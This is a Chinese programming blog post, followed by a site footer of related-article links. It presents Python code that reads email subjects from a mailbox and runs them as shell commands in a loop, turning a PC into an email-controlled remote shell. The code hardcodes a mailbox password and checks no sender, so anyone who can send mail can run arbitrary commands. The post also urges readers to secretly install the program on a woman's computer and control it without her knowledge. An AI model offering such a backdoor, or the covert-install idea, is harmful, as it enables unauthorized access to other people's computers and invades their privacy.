python编写微信远程控制电脑的程序


Posted in Python onJanuary 05, 2018

今天来分享一个“高大上”的技术——使用python编写一个可以用微信远程控制电脑的程序!

先来分析一下控制的具体流程:

python编写微信远程控制电脑的程序

我们使用微信给特定的邮箱发送一封邮件,其中包含了我们想要电脑执行的命令,然后电脑上的python程序获取到这封邮件,然后解析其中的命令,再交付给电脑执行。可以看出,这其中主要的技术难点就是获取邮件了!但是!这没有任何问题,大家看到我的上一篇博客《python 收发邮件》就可以了!

下面给出使用python收发邮件并执行邮件命令的代码。

# -*- coding:utf-8 -*- 
from email.mime.text import MIMEText 
import poplib 
import smtplib 
import os 
 
 
class MailManager(object): 
 
  def __init__(self): 
    self.popHost = 'pop.sina.com' 
    self.smtpHost = 'smtp.sina.com' 
    self.port = 25 
    self.userName = 'ivanzgj@sina.com' 
    self.passWord = 'zgj123' 
    self.bossMail = '475176416@qq.com' 
    self.login() 
    self.configMailBox() 
 
  # 登录邮箱 
  def login(self): 
    try: 
      self.mailLink = poplib.POP3_SSL(self.popHost) 
      self.mailLink.set_debuglevel(0) 
      self.mailLink.user(self.userName) 
      self.mailLink.pass_(self.passWord) 
      self.mailLink.list() 
      print u'login success!' 
    except Exception as e: 
      print u'login fail! ' + str(e) 
      quit() 
 
  # 获取邮件 
  def retrMail(self): 
    try: 
      mail_list = self.mailLink.list()[1] 
      if len(mail_list) == 0: 
        return None 
      mail_info = mail_list[0].split(' ') 
      number = mail_info[0] 
      mail = self.mailLink.retr(number)[1] 
      self.mailLink.dele(number) 
 
      subject = u'' 
      sender = u'' 
      for i in range(0, len(mail)): 
        if mail[i].startswith('Subject'): 
          subject = mail[i][9:] 
        if mail[i].startswith('X-Sender'): 
          sender = mail[i][10:] 
      content = {'subject': subject, 'sender': sender} 
      return content 
    except Exception as e: 
      print str(e) 
      return None 
 
  def configMailBox(self): 
    try: 
      self.mail_box = smtplib.SMTP(self.smtpHost, self.port) 
      self.mail_box.login(self.userName, self.passWord) 
      print u'config mailbox success!' 
    except Exception as e: 
      print u'config mailbox fail! ' + str(e) 
      quit() 
 
  # 发送邮件 
  def sendMsg(self, mail_body='Success!'): 
    try: 
      msg = MIMEText(mail_body, 'plain', 'utf-8') 
      msg['Subject'] = mail_body 
      msg['from'] = self.userName 
      self.mail_box.sendmail(self.userName, self.bossMail, msg.as_string()) 
      print u'send mail success!' 
    except Exception as e: 
      print u'send mail fail! ' + str(e) 
 
if __name__ == '__main__': 
  mailManager = MailManager() 
  mail = mailManager.retrMail() 
  if mail is not None: 
    cmd = mail['subject'] 
    os.system(cmd) 
    mailManager.sendMsg()

上述代码的逻辑是:邮件的主题为要执行的命令,然后python获取邮箱的邮件,解析其主题,然后交到命令行执行。执行成功后发送一封success的邮件给我。

下面测试一下。我使用qq邮箱给我指定的邮箱发送了下面这样一封邮件。

python编写微信远程控制电脑的程序

这封邮件的命令是要打开mail.py这个文件,然后我们在电脑上运行上述代码程序,就可以看到其打开了mail.py这个文件了!
现在,这个程序只会执行一次,然后就会退出,我们只要给它加个死循环就可以让它一直运行了~

if __name__ == '__main__': 
  while True: 
    mailManager = MailManager() 
    mail = mailManager.retrMail() 
    if mail is not None: 
      cmd = mail['subject'] 
      os.system(cmd) 
      mailManager.sendMsg() 
    time.sleep(5)

现在我们只要运行其这个程序,然后我们拿着手机,打开微信,一封邮件,便可随时远控电脑!想想,你们拿着这个程序,打包一下,然后悄悄地撞到你心仪的妹子电脑上,趁她不注意的时候,发一封邮件,然后让妹子的电脑干点什么事情(例如显示一段文字表白什么的),想想都很激动呢!!!

好的,下面直接给出一个源码链接吧。
python 微信远程控制电脑

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
python实现可将字符转换成大写的tcp服务器实例
Apr 29 Python
详解Python中find()方法的使用
May 18 Python
python 网络编程常用代码段
Aug 28 Python
python中获得当前目录和上级目录的实现方法
Oct 12 Python
Jupyter中直接显示Matplotlib的图形方法
May 24 Python
详解python爬虫系列之初识爬虫
Apr 06 Python
在django admin中添加自定义视图的例子
Jul 26 Python
PyTorch之图像和Tensor填充的实例
Aug 18 Python
Python元组 tuple的概念与基本操作详解【定义、创建、访问、计数、推导式等】
Oct 30 Python
Win10下用Anaconda安装TensorFlow(图文教程)
Jun 18 Python
python利用xlsxwriter模块 操作 Excel
Oct 14 Python
使用AJAX和Django获取数据的方法实例
Oct 25 Python
使用python爬虫实现网络股票信息爬取的demo
Jan 05 #Python
简单实现python收发邮件功能
Jan 05 #Python
5款非常棒的Python工具
Jan 05 #Python
Python基于列表模拟堆栈和队列功能示例
Jan 05 #Python
Django 2.0版本的新特性抢先看!
Jan 05 #Python
微信跳一跳游戏python脚本
Apr 01 #Python
Python基于列表list实现的CRUD操作功能示例
Jan 05 #Python
You might like
回首过去10年中最搞笑的10部动漫,哪一部让你节操尽碎?
2020/03/03 日漫
php 面试碰到过的问题 在此做下记录
2011/06/09 PHP
php根据分类合并数组的方法实例详解
2013/11/06 PHP
php使用多个进程同时控制文件读写示例
2014/02/28 PHP
php密码生成类实例
2014/09/24 PHP
php使用gzip压缩传输js和css文件的方法
2015/07/29 PHP
学习php设计模式 php实现原型模式(prototype)
2015/12/07 PHP
laravel validate 设置为中文的例子(验证提示为中文)
2019/09/29 PHP
兼容IE与firefox火狐的回车事件(js与jquery)
2010/10/20 Javascript
编写自己的jQuery插件简单实现代码
2011/04/19 Javascript
Javascript跨域请求的4种解决方式
2013/03/17 Javascript
jqueryMobile使用示例分享
2016/01/12 Javascript
jQuery添加删除DOM元素方法详解
2016/01/18 Javascript
AngularJS轻松实现双击排序的功能
2016/08/30 Javascript
JavaScript方法_动力节点Java学院整理
2017/06/28 Javascript
Vuex利用state保存新闻数据实例
2017/06/28 Javascript
AngularJS遍历获取数组元素的方法示例
2017/11/11 Javascript
傻瓜式解读koa中间件处理模块koa-compose的使用
2018/10/30 Javascript
小程序获取周围IBeacon设备的方法
2018/10/31 Javascript
js中对象与对象创建方法的各种方法
2019/02/27 Javascript
浅谈JavaScript闭包
2019/04/09 Javascript
[01:43]深扒TI7聊天轮盘语音出处4
2017/05/11 DOTA
对python-3-print重定向输出的几种方法总结
2018/05/11 Python
python实现简单tftp(基于udp协议)
2018/07/30 Python
Python图像滤波处理操作示例【基于ImageFilter类】
2019/01/03 Python
详解python实现交叉验证法与留出法
2019/07/11 Python
flask框架json数据的拿取和返回操作示例
2019/11/28 Python
从零实现一个自定义html5播放器的示例代码
2017/08/01 HTML / CSS
欢送退休感言
2014/02/08 职场文书
民政局个人整改措施
2014/09/24 职场文书
党的群众路线教育实践活动个人剖析材料
2014/10/07 职场文书
安全生产先进个人事迹材料
2014/12/30 职场文书
三孔导游词
2015/02/05 职场文书
2016年情人节广告语
2016/01/28 职场文书
2019最新公司租房合同(例文)
2019/07/18 职场文书
Python一些基本的图像操作和处理总结
2021/06/23 Python